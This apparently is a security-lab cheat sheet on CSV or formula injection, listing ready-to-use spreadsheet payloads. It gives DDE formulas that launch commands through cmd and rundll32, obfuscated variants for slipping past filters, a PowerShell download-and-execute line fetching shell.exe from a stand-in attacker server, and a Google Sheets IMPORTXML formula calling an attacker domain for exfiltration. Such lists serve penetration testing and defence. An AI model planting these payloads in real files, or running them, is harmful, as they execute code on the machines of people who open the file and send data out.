TechnoFreaks - Security Lab
7 Payloads

CSV Injection Payloads & Testing Methodology

CSV Injection, also known as Formula Injection, is a security vulnerability that occurs when untrusted input is included in a CSV file. Any formula can be started with:

CSV Injection#

Many web applications allow the user to download content such as templates for invoices or user settings to a CSV file. Many users choose to open the CSV file in either Excel, Libre Office or Open Office. When a web application does not properly validate the contents of the CSV file, it could lead to contents of a cell or many cells being executed.

Summary#

Methodology#

CSV Injection, also known as Formula Injection, is a security vulnerability that occurs when untrusted input is included in a CSV file. Any formula can be started with:

text4 lines
=
+
–
@

Basic exploits with **Dynamic Data Exchange**.

  • Spawn a calc
text4 lines
    DDE ("cmd";"/C calc";"!A0")A0
    @SUM(1+1)*cmd|' /C calc'!A0
    =2+5+cmd|' /C calc'!A0
    =cmd|' /C calc'!'A1'
  • PowerShell download and execute
text1 line
    =cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
  • Prefix obfuscation and command chaining
text3 lines
    =AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A
    =cmd|'/c calc.exe'!A*cmd|'/c calc.exe'!A
    =         cmd|'/c calc.exe'!A
  • Using rundll32 instead of cmd
text2 lines
    =rundll32|'URL.dll,OpenURL calc.exe'!A
    =rundll321234567890abcdefghijklmnopqrstuvwxyz|'URL.dll,OpenURL calc.exe'!A
  • Using null characters to bypass dictionary filters. Since they are not spaces, they are ignored when executed.
text1 line
    =    C    m D                    |        '/        c       c  al  c      .  e                  x       e  '   !   A

Technical details of the above payloads:

  • cmd is the name the server can respond to whenever a client is trying to access the server
  • /C calc is the file name which in our case is the calc(i.e the calc.exe)
  • !A0 is the item name that specifies unit of data that a server can respond when the client is requesting the data

Google Sheets#

Google Sheets allows some additional formulas that are able to fetch remote URLs:

So one can test blind formula injection or a potential for data exfiltration with:

text1 line
=IMPORTXML("http://[ATTACKER.DOMAIN.TLD]/csv", "//a/@href")

Note: an alert will warn the user a formula is trying to contact an external resource and ask for authorization.

References#